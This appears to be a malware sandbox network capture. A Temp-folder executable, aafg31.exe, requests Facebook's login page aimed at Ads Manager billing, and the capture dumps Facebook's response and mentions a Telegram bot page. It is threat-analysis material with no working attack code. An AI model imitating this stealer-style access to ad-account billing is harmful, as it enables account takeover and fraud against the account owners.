7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49975	157.240.9.35	443	C:\Users\user\AppData\Local\Temp\aafg31.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:47 UTC	2052	OUT	GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1 User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62 sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Host: www.facebook.com
2023-05-28 08:43:48 UTC	2053	IN	HTTP/1.1 200 OK Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; document-policy: force-load-at-top permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), midi=(), screen-wake-lock=(), serial=(), usb=() cross-origin-opener-policy: unsafe-none Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY origin-agent-cluster: ?0 Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: gzMlKrr8zbUMC17stckpv0v49FDPtzJ4g4a4tyKtaiwffByPCUbi5sg9OJ4R5o6qzDeb1hxdP2Ju57EFhBxmeQ== Date: Sun, 28 May 2023 08:43:48 GMT
2023-05-28 08:43:48 UTC	2055	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: Transfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400Connection: close
2023-05-28 08:43:48 UTC	2055	IN	Data Raw: 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 41 57 47 4c 7a 6e 65 39 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 0d 0a Data Ascii: cc<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="AWGLzne9">function en
2023-05-28 08:43:48 UTC	2055	IN	Data Raw: 64 36 33 65 0d 0a 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 65 4c 61 7a 79 3f 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 45 6e 76 22 5d 2c 62 29 3a 28 77 69 6e 64 6f 77 2e 45 6e 76 3d 77 69 6e 64 6f 77 2e 45 6e 76 7c 7c 7b 7d 2c 62 28 77 69 6e 64 6f 77 2e 45 6e 76 29 29 7d 65 6e 76 46 6c 75 73 68 28 7b 22 75 73 65 54 72 75 73 74 65 64 54 79 70 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 54 72 75 73 74 65 64 54 79 70 65 73 52 65 70 6f 72 74 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 61 6a 61 78 70 69 70 65 5f 74 6f 6b 65 6e 22 3a 22 41 58 6a 5a 36 77 47 58 74 66 68 4a 45 4b 76 76 58 47 6f 22 2c 22 67 6b Data Ascii: d63evFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvXGo","gk
2023-05-28 08:43:48 UTC	2056	IN	Data Raw: 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2f 77 65 62 2f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 79 76 2f 72 2f 42 38 42 78 73 73 63 66 56 42 72 2e 69 63 6f 22 20 2f 3e 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 Data Ascii: /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://sta
2023-05-28 08:43:48 UTC	2058	IN	Data Raw: 30 30 30 30 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 36 37 36 38 33 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 4e 38 77 42 5a 41 38 63 74 43 64 48 77 57 6f 30 22 7d 2c 22 37 30 38 32 35 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 35 6e 34 68 42 4c 33 59 54 4d 6e 51 57 74 49 4e 38 22 7d 2c 22 39 39 36 39 34 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 6f 70 59 75 45 47 79 33 73 6a 47 31 61 31 4c 63 22 7d 2c 22 31 30 37 33 35 30 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 61 4a 6d 66 6e 71 57 79 69 6f 78 4f 4f 76 47 51 22 7d 2c 22 31 32 32 34 36 33 37 22 3a Data Ascii: 0000,"s":1}},"gkxData":{"676837":{"result":false,"hash":"AT4N8wBZA8ctCdHwWo0"},"708253":{"result":false,"hash":"AT5n4hBL3YTMnQWtIN8"},"996940":{"result":false,"hash":"AT7opYuEGy3sjG1a1Lc"},"1073500":{"result":false,"hash":"AT7aJmfnqWyioxOOvGQ"},"1224637":
2023-05-28 08:43:48 UTC	2059	IN	Data Raw: 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 73 74 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 53 74 72 69 63 74 22 7d 2c 22 69 5f 75 73 65 72 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6c 6f 63 61 6c 65 22 3a 7b 22 74 22 3a 36 30 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6d 5f 6c 73 22 3a 7b 22 74 22 3a 31 35 38 32 38 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6d 5f 70 69 78 65 6c 5f 72 61 74 69 6f 22 3a 7b 22 74 22 3a 36 30 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6e 6f 73 63 72 69 70 74 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 70 72 65 73 65 6e 63 65 22 3a 7b 22 74 22 3a 32 35 39 32 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 73 66 61 75 22 3a 7b 22 73 22 3a 22 Data Ascii: 000,"s":"None"},"fbl_st":{"t":31536000,"s":"Strict"},"i_user":{"s":"None"},"locale":{"t":604800,"s":"None"},"m_ls":{"t":158284800,"s":"None"},"m_pixel_ratio":{"t":604800,"s":"None"},"noscript":{"s":"None"},"presence":{"t":2592000,"s":"None"},"sfau":{"s":"
2023-05-28 08:43:48 UTC	2061	IN	Data Raw: 6f 6e 5f 70 72 65 66 69 78 22 3a 6e 75 6c 6c 2c 22 62 65 5f 6f 6e 65 5f 61 68 65 61 64 22 3a 66 61 6c 73 65 2c 22 69 73 5f 72 74 6c 22 3a 66 61 6c 73 65 2c 22 69 73 5f 63 6f 6d 65 74 22 3a 66 61 6c 73 65 2c 22 69 73 5f 65 78 70 65 72 69 6d 65 6e 74 61 6c 5f 74 69 65 72 22 3a 66 61 6c 73 65 2c 22 69 73 5f 6a 69 74 5f 77 61 72 6d 65 64 5f 75 70 22 3a 74 72 75 65 2c 22 68 73 69 22 3a 22 37 32 33 38 31 35 31 33 30 38 39 38 37 32 39 36 33 34 32 22 2c 22 73 65 6d 72 5f 68 6f 73 74 5f 62 75 63 6b 65 74 22 3a 22 33 22 2c 22 62 6c 5f 68 61 73 68 5f 76 65 72 73 69 6f 6e 22 3a 32 2c 22 73 6b 69 70 5f 72 64 5f 62 6c 22 3a 74 72 75 65 2c 22 63 6f 6d 65 74 5f 65 6e 76 22 3a 30 2c 22 77 62 6c 6f 6b 73 5f 65 6e 76 22 3a 66 61 6c 73 65 2c 22 73 70 69 6e 22 3a 34 2c 22 5f Data Ascii: on_prefix":null,"be_one_ahead":false,"is_rtl":false,"is_comet":false,"is_experimental_tier":false,"is_jit_warmed_up":true,"hsi":"7238151308987296342","semr_host_bucket":"3","bl_hash_version":2,"skip_rd_bl":true,"comet_env":0,"wbloks_env":false,"spin":4,"_
2023-05-28 08:43:48 UTC	2062	IN	Data Raw: 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 41 44 53 5f 50 4c 41 43 45 4d 45 4e 54 5f 46 49 58 5f 50 55 42 4c 49 53 48 45 52 5f 50 4c 41 54 46 4f 52 4d 53 5f 4d 55 54 41 54 49 4f 4e 22 2c 22 46 4f 52 43 45 5f 46 45 54 43 48 5f 42 4f 4f 53 54 45 44 5f 43 4f 4d 50 4f 4e 45 4e 54 5f 41 46 54 45 52 5f 41 44 53 5f 43 52 45 41 54 49 4f 4e 22 2c 22 56 49 44 45 4f 5f 44 49 4d 45 4e 53 49 4f 4e 53 5f 46 52 4f 4d 5f 50 4c 41 59 45 52 5f 49 4e 5f 55 50 4c 4f 41 44 5f 44 49 41 4c 4f 47 22 2c 22 53 4e 49 56 59 5f 47 52 4f 55 50 5f 42 59 5f 45 56 45 4e 54 5f 54 52 41 43 45 5f 49 44 5f 41 4e 44 5f 4e 41 4d 45 22 2c 22 41 44 53 5f 53 54 4f 52 45 5f 56 49 53 49 54 53 5f 4d 45 54 52 49 43 53 5f 44 45 50 52 45 43 41 54 49 4f 4e 22 2c 22 41 44 5f 44 52 41 46 54 5f 45 Data Ascii: _USERS_NEW_API","ADS_PLACEMENT_FIX_PUBLISHER_PLATFORMS_MUTATION","FORCE_FETCH_BOOSTED_COMPONENT_AFTER_ADS_CREATION","VIDEO_DIMENSIONS_FROM_PLAYER_IN_UPLOAD_DIALOG","SNIVY_GROUP_BY_EVENT_TRACE_ID_AND_NAME","ADS_STORE_VISITS_METRICS_DEPRECATION","AD_DRAFT_E
2023-05-28 08:43:48 UTC	2064	IN	Data Raw: 66 61 6c 73 65 2c 22 69 73 49 6e 73 74 61 67 72 61 6d 42 75 73 69 6e 65 73 73 50 65 72 73 6f 6e 22 3a 66 61 6c 73 65 2c 22 69 73 45 6e 74 65 72 70 72 69 73 65 42 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 48 69 64 65 43 6f 6d 70 6f 6e 65 6e 74 73 42 79 55 6e 73 75 70 70 6f 72 74 65 64 46 69 72 73 74 50 61 72 74 79 54 6f 6f 6c 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 53 68 6f 77 41 63 63 6f 75 6e 74 53 77 69 74 63 68 43 6f 6d 70 6f 6e 65 6e 74 73 22 3a 66 61 6c 73 65 2c 22 69 73 55 73 65 72 4f 70 74 49 6e 41 63 63 6f 75 6e 74 53 77 69 74 63 68 49 6e 66 72 61 55 70 67 72 61 64 65 22 3a 66 61 6c 73 65 2c 22 62 75 73 69 6e 65 73 73 5f 70 72 6f 66 69 6c 65 5f 70 69 63 5f 75 72 6c 22 3a 6e 75 6c 6c 2c 22 65 6e 74 65 72 70 72 69 73 Data Ascii: false,"isInstagramBusinessPerson":false,"isEnterpriseBusiness":false,"shouldHideComponentsByUnsupportedFirstPartyTools":false,"shouldShowAccountSwitchComponents":false,"isUserOptInAccountSwitchInfraUpgrade":false,"business_profile_pic_url":null,"enterpris
2023-05-28 08:43:48 UTC	2065	IN	Data Raw: 61 6e 6e 65 72 22 3a 66 61 6c 73 65 7d 2c 34 33 32 38 5d 2c 5b 22 57 65 62 43 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 53 65 72 76 65 72 47 75 65 73 73 22 2c 5b 5d 2c 7b 22 63 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 22 3a 22 45 58 43 45 4c 4c 45 4e 54 22 7d 2c 34 37 30 35 5d 2c 5b 22 43 6f 6d 65 74 41 6c 74 70 61 79 4a 73 53 64 6b 49 66 72 61 6d 65 41 6c 6c 6f 77 65 64 44 6f 6d 61 69 6e 73 22 2c 5b 5d 2c 7b 22 61 6c 6c 6f 77 65 64 5f 64 6f 6d 61 69 6e 73 22 3a 5b 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 69 76 65 2e 61 64 79 65 6e 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 6e 74 65 67 72 61 74 69 6f 6e 2d 66 61 63 65 62 6f 6f 6b 2e 70 61 79 75 2e 69 6e 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 66 61 63 65 62 6f 6f 6b 2e 70 61 79 75 6c 61 74 61 6d 2e Data Ascii: anner":false},4328],["WebConnectionClassServerGuess",[],{"connectionClass":"EXCELLENT"},4705],["CometAltpayJsSdkIframeAllowedDomains",[],{"allowed_domains":["https:\/\/live.adyen.com","https:\/\/integration-facebook.payu.in","https:\/\/facebook.payulatam.
2023-05-28 08:43:48 UTC	2067	IN	Data Raw: 49 6e 66 6f 22 3a 7b 22 70 72 69 6d 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 2c 22 73 65 63 6f 6e 64 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 7d 2c 22 6e 75 6d 62 65 72 69 6e 67 53 79 73 74 65 6d 44 61 74 61 22 3a 6e 75 6c 6c 7d 2c 35 34 5d 2c 5b 22 53 65 73 73 69 6f 6e 4e 61 6d 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 73 65 65 64 22 3a 22 32 61 65 56 22 7d 2c 37 35 37 5d 2c 5b 22 5a 65 72 6f 43 61 74 65 67 6f 72 79 48 65 61 64 65 72 22 2c 5b 5d 2c 7b 7d 2c 31 31 32 37 5d 2c 5b 22 5a 65 72 6f 52 65 77 72 69 74 65 52 75 6c 65 73 22 2c 5b 5d 2c 7b 22 72 65 77 72 69 74 65 5f 72 75 6c 65 73 22 3a 7b 7d 2c 22 77 68 69 74 65 6c 69 73 74 22 3a 7b 22 5c 2f 68 72 5c 2f 72 22 3a 31 2c 22 5c 2f 68 72 5c 2f 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 75 6e 73 Data Ascii: Info":{"primaryGroupSize":3,"secondaryGroupSize":3},"numberingSystemData":null},54],["SessionNameConfig",[],{"seed":"2aeV"},757],["ZeroCategoryHeader",[],{},1127],["ZeroRewriteRules",[],{"rewrite_rules":{},"whitelist":{"\/hr\/r":1,"\/hr\/p":1,"\/zero\/uns
2023-05-28 08:43:48 UTC	2068	IN	Data Raw: 74 69 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 62 6c 69 74 65 5c 2f 63 6f 6e 66 69 67 5c 2f 22 3a 31 2c 22 5c 2f 68 72 5c 2f 7a 73 68 5c 2f 77 63 5c 2f 22 3a 31 2c 22 5c 2f 61 6a 61 78 5c 2f 62 6f 6f 74 6c 6f 61 64 65 72 2d 65 6e 64 70 6f 69 6e 74 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 65 64 75 63 61 74 69 6f 6e 5f 70 61 67 65 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 66 65 61 74 75 72 65 5f 73 77 69 74 63 68 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f Data Ascii: ti.php":1,"\/zero\/fblite\/config\/":1,"\/hr\/zsh\/wc\/":1,"\/ajax\/bootloader-endpoint\/":1,"\/mobile\/zero\/carrier_page\/":1,"\/mobile\/zero\/carrier_page\/education_page\/":1,"\/mobile\/zero\/carrier_page\/feature_switch\/":1,"\/mobile\/zero\/carrier_
2023-05-28 08:43:48 UTC	2070	IN	Data Raw: 72 65 67 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 69 73 74 72 61 74 69 6f 6e 5c 2f 6c 6f 67 5c 2f 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 5c 2f 22 3a 31 2c 22 5c 2f 66 31 32 33 5c 2f 22 3a 31 2c 22 5c 2f 65 78 70 65 72 74 5c 2f 22 3a 31 2c 22 5c 2f 65 78 70 65 72 74 73 5c 2f 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 5c 2f 69 6e 64 65 78 2e 70 68 70 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 2e 70 68 70 22 3a 31 2c 22 5c 2f 73 72 72 5c 2f 22 3a 31 2c 22 5c 2f 6d 73 69 74 65 5c 2f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 66 62 73 5c 2f 70 69 78 65 6c 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 70 72 65 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 63 6c 69 66 66 5c 2f 22 3a 31 2c 22 5c Data Ascii: reg\/":1,"\/registration\/log\/":1,"\/terms\/":1,"\/f123\/":1,"\/expert\/":1,"\/experts\/":1,"\/terms\/index.php":1,"\/terms.php":1,"\/srr\/":1,"\/msite\/redirect\/":1,"\/fbs\/pixel\/":1,"\/contactpoint\/preconfirmation\/":1,"\/contactpoint\/cliff\/":1,"\
2023-05-28 08:43:48 UTC	2071	IN	Data Raw: 61 32 34 4d 67 72 64 7a 6e 77 6b 70 30 2d 38 67 4b 4f 39 47 7a 44 67 62 45 64 4e 4c 38 6a 7a 39 71 49 4e 77 44 59 38 55 6b 30 6b 66 58 76 41 4a 77 79 54 42 55 46 4b 61 54 53 5f 36 6f 6a 78 55 34 70 70 74 31 68 33 63 71 6b 6c 51 79 4e 61 56 63 43 73 6a 7a 30 55 59 67 41 2d 6c 51 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 39 36 37 30 33 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 33 38 39 36 34 6b 5f 4c 39 56 35 56 70 2d 4c 39 46 4d 6c 39 51 63 69 6c 57 63 62 54 7a 78 61 37 50 2d 74 43 43 31 54 4b 67 36 36 65 2d 55 46 6e 5f 49 68 6e 52 41 7a 6b 6d 38 6b 39 4b 30 6a 55 54 63 45 38 77 35 51 43 49 50 53 6b 47 73 51 47 48 6a 32 4b 7a 46 6f 32 45 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 30 38 38 38 36 22 2c 5b 22 45 76 65 6e 74 50 72 6f 66 Data Ascii: a24Mgrdznwkp0-8gKO9GzDgbEdNL8jz9qINwDY8Uk0kfXvAJwyTBUFKaTS_6ojxU4ppt1h3cqklQyNaVcCsjz0UYgA-lQ"]},-1],["cr:696703",[],{"__rc":[null,"Aa38964k_L9V5Vp-L9FMl9QcilWcbTzxa7P-tCC1TKg66e-UFn_IhnRAzkm8k9K0jUTcE8w5QCIPSkGsQGHj2KzFo2E"]},-1],["cr:708886",["EventProf
2023-05-28 08:43:48 UTC	2073	IN	Data Raw: 67 49 72 4a 47 2d 78 30 5f 62 52 76 48 78 78 64 6d 79 71 4a 61 33 30 56 2d 49 33 6a 31 67 4c 4a 48 4d 51 44 49 57 65 70 68 37 34 33 6e 53 35 64 4d 43 6d 47 79 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 32 35 31 30 30 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c 22 41 61 33 38 39 36 34 6b 5f 4c 39 56 35 56 70 2d 4c 39 46 4d 6c 39 51 63 69 6c 57 63 62 54 7a 78 61 37 50 2d 74 43 43 31 54 4b 67 36 36 65 2d 55 46 6e 5f 49 68 6e 52 41 7a 6b 6d 38 6b 39 4b 30 6a 55 54 63 45 38 77 35 51 43 49 50 53 6b 47 73 51 47 48 6a 32 4b 7a 46 6f 32 45 22 5d 7d 2c 2d 31 5d 2c 5b 22 45 76 65 6e 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 73 61 6d 70 6c 69 6e 67 22 3a 7b 22 62 61 6e 64 77 69 64 74 68 22 3a 30 2c 22 70 6c 61 Data Ascii: gIrJG-x0_bRvHxxdmyqJa30V-I3j1gLJHMQDIWeph743nS5dMCmGyg"]},-1],["cr:925100",["RunBlue"],{"__rc":["RunBlue","Aa38964k_L9V5Vp-L9FMl9QcilWcbTzxa7P-tCC1TKg66e-UFn_IhnRAzkm8k9K0jUTcE8w5QCIPSkGsQGHj2KzFo2E"]},-1],["EventConfig",[],{"sampling":{"bandwidth":0,"pla
2023-05-28 08:43:48 UTC	2074	IN	Data Raw: 4f 75 74 20 68 61 73 42 61 6e 6e 65 72 20 5f 2d 6b 62 20 5f 36 30 35 61 20 62 5f 63 33 70 79 6e 2d 61 68 68 20 20 77 65 62 6b 69 74 20 77 69 6e 20 78 31 20 4c 6f 63 61 6c 65 5f 65 6e 5f 55 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 41 57 47 4c 7a 6e 65 39 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 62 6f 6f 74 73 74 72 61 70 57 65 62 53 65 73 73 69 6f 6e 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6a 29 7b 6a 28 31 36 38 35 32 36 33 34 32 38 29 7d 29 3c 2f 73 63 72 69 70 74 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 6c 69 22 20 69 64 3d 22 75 5f 30 5f 30 5f 73 45 22 3e 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 43 6f 6e 74 61 69 6e 65 72 22 20 63 6c Data Ascii: Out hasBanner _-kb _605a b_c3pyn-ahh webkit win x1 Locale_en_US" dir="ltr"><script type="text/javascript" nonce="AWGLzne9">requireLazy(["bootstrapWebSession"],function(j){j(1685263428)})</script><div class="_li" id="u_0_0_sE"><div id="globalContainer" cl
2023-05-28 08:43:48 UTC	2075	IN	Data Raw: 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 69 73 70 72 69 76 61 74 65 22 20 6e 61 6d 65 3d 22 69 73 70 72 69 76 61 74 65 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 72 65 74 75 72 6e 5f 73 65 73 73 69 6f 6e 22 20 6e 61 6d 65 3d 22 72 65 74 75 72 6e 5f 73 65 73 73 69 6f 6e 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 73 6b 69 70 5f 61 70 69 5f 6c 6f 67 69 6e 22 20 6e 61 6d 65 3d 22 73 6b 69 70 5f 61 70 69 5f 6c 6f 67 69 6e 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 Data Ascii: ete="off" id="isprivate" name="isprivate" value="" /><input type="hidden" autocomplete="off" id="return_session" name="return_session" value="" /><input type="hidden" autocomplete="off" id="skip_api_login" name="skip_api_login" value="" /><input type="hid
